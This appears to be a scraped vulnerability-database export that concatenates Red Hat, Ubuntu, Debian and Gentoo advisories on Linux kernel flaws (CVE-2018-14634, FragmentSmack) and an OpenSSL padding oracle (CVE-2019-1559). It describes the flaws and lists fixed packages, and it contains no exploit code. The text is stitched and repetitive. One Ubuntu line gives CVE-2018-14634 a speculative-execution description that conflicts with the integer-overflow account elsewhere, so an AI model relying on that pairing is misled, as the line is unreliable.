x86_64: kernel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-headers-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-3.10.0-862.14.4.el7.x86_64.rpm perf-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7):
noarch: kernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
ppc64le: kernel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-bootwrapper-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm kernel-devel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-headers-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-libs-3.10.0-862.14.4.el7.ppc64le.rpm perf-3.10.0-862.14.4.el7.ppc64le.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm
s390x: kernel-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-debug-devel-3.10.0-862.14.4.el7.s390x.rpm kernel-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-debuginfo-common-s390x-3.10.0-862.14.4.el7.s390x.rpm kernel-devel-3.10.0-862.14.4.el7.s390x.rpm kernel-headers-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-debuginfo-3.10.0-862.14.4.el7.s390x.rpm kernel-kdump-devel-3.10.0-862.14.4.el7.s390x.rpm perf-3.10.0-862.14.4.el7.s390x.rpm perf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm python-perf-3.10.0-862.14.4.el7.s390x.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64: kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-debuginfo-common-ppc64-3.10.0-862.14.4.el7.ppc64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm
ppc64le: kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-devel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64le.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm
x86_64: kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):
noarch: kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
ppc64le: kernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debug-devel-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64le.rpm perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: kernel-3.10.0-862.14.4.el7.src.rpm
noarch: kernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm kernel-doc-3.10.0-862.14.4.el7.noarch.rpm
x86_64: kernel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debug-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm kernel-headers-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-3.10.0-862.14.4.el7.x86_64.rpm perf-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: kernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm python-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-14634 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/articles/3588731
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2018 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . Description:
The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. (BZ#1632422)
-
6) - i386, x86_64
Security Fix(es):
- A flaw named FragmentSmack was found in the way the Linux kernel handled reassembly of fragmented IPv4 and IPv6 packets. A remote attacker could use this flaw to trigger time and calculation expensive fragment reassembly algorithm by sending specially crafted packets which could lead to a CPU saturation and hence a denial of service on the system. Bugs fixed (https://bugzilla.redhat.com/):
1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack) 1616397 - kernel-2.6.32-754.3.5.el6.x86_64 crash on Dell Inc. 6.5) - x86_64
Bug Fix(es):
-
Previously, invalid headers in the sk_buff struct led to an indefinite loop in the tcp_collapse() function. As a consequence, the system became unresponsive. This update backports the upstream changes that remove the problematic code in tcp_collapse(). (BZ#1629632)
-
========================================================================== Ubuntu Security Notice USN-3775-2 October 01, 2018
linux-lts-trusty vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 12.04 ESM
Summary:
Several security issues were fixed in the Linux kernel. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 14.04 LTS for Ubuntu 12.04 ESM.
It was discovered that the paravirtualization implementation in the Linux kernel did not properly handle some indirect calls, reducing the effectiveness of Spectre v2 mitigations for paravirtual guests. A local attacker could use this to expose sensitive information. (CVE-2018-15594)
It was discovered that microprocessors utilizing speculative execution and prediction of return addresses via Return Stack Buffer (RSB) may allow unauthorized memory reads via sidechannel attacks. An attacker could use this to expose sensitive information. A local attacker could use this to gain administrative privileges. (CVE-2018-14634)
It was discovered that a stack-based buffer overflow existed in the iSCSI target implementation of the Linux kernel. A remote attacker could use this to cause a denial of service (system crash). (CVE-2018-14633)
It was discovered that a memory leak existed in the IRDA subsystem of the Linux kernel. A local attacker could use this to cause a denial of service (kernel memory exhaustion). (CVE-2018-6555)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 12.04 ESM: linux-image-3.13.0-160-generic 3.13.0-160.210~precise1 linux-image-3.13.0-160-generic-lpae 3.13.0-160.210~precise1 linux-image-generic-lpae-lts-trusty 3.13.0.160.150 linux-image-generic-lts-trusty 3.13.0.160.150
After a standard system update you need to reboot your computer to make all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have been given a new version number, which requires you to recompile and reinstall all third party kernel modules you might have installed. Unless you manually uninstalled the standard kernel metapackages (e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual, linux-powerpc), a standard system upgrade will automatically perform this as well. 6.6) - noarch, x86_64
- Maintaining the denial of service condition requires continuous two-way TCP sessions to a reachable open port, thus the attacks cannot be performed using spoofed IP addresses.
Bug Fix(es):
-
After updating the system to prevent the L1 Terminal Fault (L1TF) vulnerability, only one thread was detected on systems that offer processing of two threads on a single processor core. As a result, both threads are now detected correctly in the described situation. (BZ#1625334)
-
Previously, a kernel panic occurred when the kernel tried to make an out of bound access to the array that describes the L1 Terminal Fault (L1TF) mitigation state on systems without Extended Page Tables (EPT) support. This update extends the array of mitigation states to cover all the states, which effectively prevents out of bound array access. Also, this update enables rejecting invalid, irrelevant values, that might be erroneously provided by the userspace. As a result, the kernel no longer panics in the described scenario. (BZ#1629633)
4
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"data": "An integer overflow flaw was found in the Linux kernel\u0027s create_elf_tables() function. An unprivileged local user with access to SUID (or otherwise privileged) binary could use this flaw to escalate their privileges on the system. Kernel versions 2.6.x, 3.10.x and 4.14.x are believed to be vulnerable. Linux Kernel Contains an integer overflow vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Linux kernel is prone to a local integer-overflow vulnerability. \nAttackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Important: kernel security and bug fix update\nAdvisory ID: RHSA-2018:2748-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2018:2748\nIssue date: 2018-09-25\nCVE Names: CVE-2018-14634\n====================================================================\n1. Summary:\n\nAn update for kernel is now available for Red Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - noarch, ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7) - noarch, ppc64le, s390x\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - noarch, ppc64le\n\n3. \n\nSecurity Fix(es):\n\n* kernel: Integer overflow in Linux\u0027s create_elf_tables function\n(CVE-2018-14634)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section. \n\nRed Hat would like to thank Qualys Research Labs for reporting this issue. \n\nBug Fix(es):\n\nThese updated kernel packages include also numerous bug fixes. Space\nprecludes documenting all of the bug fixes in this advisory. See the\ndescriptions in the related Knowledge Article:\n\nhttps://access.redhat.com/articles/3588731\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. 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7):\n\nnoarch:\nkernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm\nkernel-doc-3.10.0-862.14.4.el7.noarch.rpm\n\nppc64le:\nkernel-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-bootwrapper-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debug-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-devel-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-headers-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-libs-3.10.0-862.14.4.el7.ppc64le.rpm\nperf-3.10.0-862.14.4.el7.ppc64le.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\npython-perf-3.10.0-862.14.4.el7.ppc64le.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\n\ns390x:\nkernel-3.10.0-862.14.4.el7.s390x.rpm\nkernel-debug-3.10.0-862.14.4.el7.s390x.rpm\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.s390x.rpm\nkernel-debug-devel-3.10.0-862.14.4.el7.s390x.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.s390x.rpm\nkernel-debuginfo-common-s390x-3.10.0-862.14.4.el7.s390x.rpm\nkernel-devel-3.10.0-862.14.4.el7.s390x.rpm\nkernel-headers-3.10.0-862.14.4.el7.s390x.rpm\nkernel-kdump-3.10.0-862.14.4.el7.s390x.rpm\nkernel-kdump-debuginfo-3.10.0-862.14.4.el7.s390x.rpm\nkernel-kdump-devel-3.10.0-862.14.4.el7.s390x.rpm\nperf-3.10.0-862.14.4.el7.s390x.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm\npython-perf-3.10.0-862.14.4.el7.s390x.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.s390x.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm\nkernel-debuginfo-common-ppc64-3.10.0-862.14.4.el7.ppc64.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm\nkernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.ppc64.rpm\n\nppc64le:\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debug-devel-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64le.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\n\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):\n\nnoarch:\nkernel-doc-3.10.0-862.14.4.el7.noarch.rpm\n\nppc64le:\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debug-devel-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-debuginfo-common-ppc64le-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\nkernel-tools-libs-devel-3.10.0-862.14.4.el7.ppc64le.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.ppc64le.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nkernel-3.10.0-862.14.4.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-862.14.4.el7.noarch.rpm\nkernel-doc-3.10.0-862.14.4.el7.noarch.rpm\n\nx86_64:\nkernel-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debug-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-devel-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-headers-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-862.14.4.el7.x86_64.rpm\nperf-3.10.0-862.14.4.el7.x86_64.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\npython-perf-3.10.0-862.14.4.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-862.14.4.el7.x86_64.rpm\nperf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-862.14.4.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-14634\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/articles/3588731\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2018 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBW6qIXtzjgjWX9erEAQgbaA/9GdDyLHgZWXBKyB7vepaVkwjNGl3misCc\nyNfyldFBi5Kqh4p5udl6gdEcaqsnV1rXnAyBKu/fyNZFwIyJaoO7zcYz577C5p8u\neN/2HWXaIQDLwqwDB65Hm4UraHsr3QkazfbAwhb2de796dbw/qP+dP/UHAyV4Gfl\nwFEF1Ip0atvE8Ya/MmGhNPkr8ha9aOeGQwI6UgCxDlytM95KEJm+Bw9kCIa27mQm\ntcBgOUxUOrQ+0pQpRMSV7/vogmf8T+m1S7Bx8AEIYT/e73sdgIoNTeNlwC8h+wqu\nloxQOmDPVtQlYseWYqnzuxPI93kL/Rd0EbTbLUrWwAlTmOgTOdfJBxcSUu012PbV\nD8ZwivWtKVL5afIf405RuVLY/7G1GBus7hI5TCPl8q+lOYp75ic1gkh5ZBrGRW6E\nn9+7LZkUO3/G+6VR3GnUt6SNIlqGol1gl20XpNEMR8FPliOCZvEBP4lPp0eRGlhl\nt6cAf6Www/9SbecSkr2XmaJT7J/XcRWwKCm4YvKak26gU8rXy9PXqbl/Ql4c3uJi\n9672uf7W3uRMitdbmxO24ykfZgMjgl1CmtCi5xbzWWW1UqbEBLyUDH4gl1pR4dP6\nJCpWH8VcQ6k1Bc8NTYgOXEvUEBjrUtSAC4CoLTVAaAuHPZsZyDZoQXKlkqlsv2ke\nRfK83591mPM=QKmj\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. Description:\n\nThe kernel-rt packages provide the Real Time Linux Kernel, which enables\nfine-tuning for systems with extremely high determinism requirements. \n(BZ#1632422)\n\n4. 6) - i386, x86_64\n\n3. \n\nSecurity Fix(es):\n\n* A flaw named FragmentSmack was found in the way the Linux kernel handled\nreassembly of fragmented IPv4 and IPv6 packets. A remote attacker could use\nthis flaw to trigger time and calculation expensive fragment reassembly\nalgorithm by sending specially crafted packets which could lead to a CPU\nsaturation and hence a denial of service on the system. Bugs fixed (https://bugzilla.redhat.com/):\n\n1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack)\n1616397 - kernel-2.6.32-754.3.5.el6.x86_64 crash on Dell Inc. 6.5) - x86_64\n\n3. \n\nBug Fix(es):\n\n* Previously, invalid headers in the sk_buff struct led to an indefinite\nloop in the tcp_collapse() function. As a consequence, the system became\nunresponsive. This update backports the upstream changes that remove the\nproblematic code in tcp_collapse(). (BZ#1629632)\n\n4. ==========================================================================\nUbuntu Security Notice USN-3775-2\nOctober 01, 2018\n\nlinux-lts-trusty vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 12.04 ESM\n\nSummary:\n\nSeveral security issues were fixed in the Linux kernel. This update provides the corresponding updates for the Linux\nHardware Enablement (HWE) kernel from Ubuntu 14.04 LTS for Ubuntu\n12.04 ESM. \n\nIt was discovered that the paravirtualization implementation in the Linux\nkernel did not properly handle some indirect calls, reducing the\neffectiveness of Spectre v2 mitigations for paravirtual guests. A local\nattacker could use this to expose sensitive information. (CVE-2018-15594)\n\nIt was discovered that microprocessors utilizing speculative execution and\nprediction of return addresses via Return Stack Buffer (RSB) may allow\nunauthorized memory reads via sidechannel attacks. An attacker could use\nthis to expose sensitive information. A local attacker could use\nthis to gain administrative privileges. (CVE-2018-14634)\n\nIt was discovered that a stack-based buffer overflow existed in the iSCSI\ntarget implementation of the Linux kernel. A remote attacker could use this\nto cause a denial of service (system crash). (CVE-2018-14633)\n\nIt was discovered that a memory leak existed in the IRDA subsystem of the\nLinux kernel. A local attacker could use this to cause a denial of service\n(kernel memory exhaustion). (CVE-2018-6555)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 12.04 ESM:\n linux-image-3.13.0-160-generic 3.13.0-160.210~precise1\n linux-image-3.13.0-160-generic-lpae 3.13.0-160.210~precise1\n linux-image-generic-lpae-lts-trusty 3.13.0.160.150\n linux-image-generic-lts-trusty 3.13.0.160.150\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nATTENTION: Due to an unavoidable ABI change the kernel updates have\nbeen given a new version number, which requires you to recompile and\nreinstall all third party kernel modules you might have installed. \nUnless you manually uninstalled the standard kernel metapackages\n(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,\nlinux-powerpc), a standard system upgrade will automatically perform\nthis as well. 6.6) - noarch, x86_64\n\n3. Maintaining the denial of service\ncondition requires continuous two-way TCP sessions to a reachable open\nport, thus the attacks cannot be performed using spoofed IP addresses. \n\nBug Fix(es):\n\n* After updating the system to prevent the L1 Terminal Fault (L1TF)\nvulnerability, only one thread was detected on systems that offer\nprocessing of two threads on a single processor core. As a result, both threads\nare now detected correctly in the described situation. (BZ#1625334)\n\n* Previously, a kernel panic occurred when the kernel tried to make an out\nof bound access to the array that describes the L1 Terminal Fault (L1TF)\nmitigation state on systems without Extended Page Tables (EPT) support. \nThis update extends the array of mitigation states to cover all the states,\nwhich effectively prevents out of bound array access. Also, this update\nenables rejecting invalid, irrelevant values, that might be erroneously\nprovided by the userspace. As a result, the kernel no longer panics in the\ndescribed scenario. (BZ#1629633)\n\n4",
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VAR-201902-0192
Vulnerability from variot - Updated: 2026-03-09 22:21If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable "non-stitched" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q). OpenSSL Contains an information disclosure vulnerability.Information may be obtained. An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks. The product supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, secure hash algorithms, etc. A vulnerability in OpenSSL could allow an unauthenticated, remote malicious user to access sensitive information on a targeted system. An attacker who is able to perform man-in-the-middle attacks could exploit the vulnerability by persuading a user to access a link that submits malicious input to the affected software. A successful exploit could allow the malicious user to intercept and modify the browser requests and then observe the server behavior in order to conduct a padding oracle attack and decrypt sensitive information.
This issue was discovered by Juraj Somorovsky, Robert Merget and Nimrod Aviram, with additional investigation by Steven Collison and Andrew Hourselt. It was reported to OpenSSL on 10th December 2018.
Note: Advisory updated to make it clearer that AEAD ciphersuites are not impacted.
Note
OpenSSL 1.0.2 and 1.1.0 are currently only receiving security updates. Support for 1.0.2 will end on 31st December 2019. Support for 1.1.0 will end on 11th September 2019. Users of these versions should upgrade to OpenSSL 1.1.1.
References
URL for this Security Advisory: https://www.openssl.org/news/secadv/20190226.txt
Note: the online version of the advisory may be updated with additional details over time.
For details of OpenSSL severity classifications please see: https://www.openssl.org/policies/secpolicy.html .
For the stable distribution (stretch), this problem has been fixed in version 1.0.2r-1~deb9u1.
For the detailed security status of openssl1.0 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openssl1.0
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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openssl vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 14.04 ESM
- Ubuntu 12.04 ESM
Summary:
Several security issues were fixed in OpenSSL. This update provides the corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM.
Original advisory details:
Cesar Pereida Garc\xeda, Sohaib ul Hassan, Nicola Tuveri, Iaroslav Gridin, Alejandro Cabrera Aldaya, and Billy Brumley discovered that OpenSSL incorrectly handled ECDSA signatures. An attacker could possibly use this issue to perform a timing side-channel attack and recover private ECDSA keys. A remote attacker could possibly use this issue to decrypt data. (CVE-2019-1559)
Bernd Edlinger discovered that OpenSSL incorrectly handled certain decryption functions. (CVE-2019-1563)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 14.04 ESM: libssl1.0.0 1.0.1f-1ubuntu2.27+esm1
Ubuntu 12.04 ESM: libssl1.0.0 1.0.1-4ubuntu5.44
After a standard system update you need to reboot your computer to make all the necessary changes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201903-10
https://security.gentoo.org/
Severity: Normal Title: OpenSSL: Multiple vulnerabilities Date: March 14, 2019 Bugs: #673056, #678564 ID: 201903-10
Synopsis
Multiple Information Disclosure vulnerabilities in OpenSSL allow attackers to obtain sensitive information.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
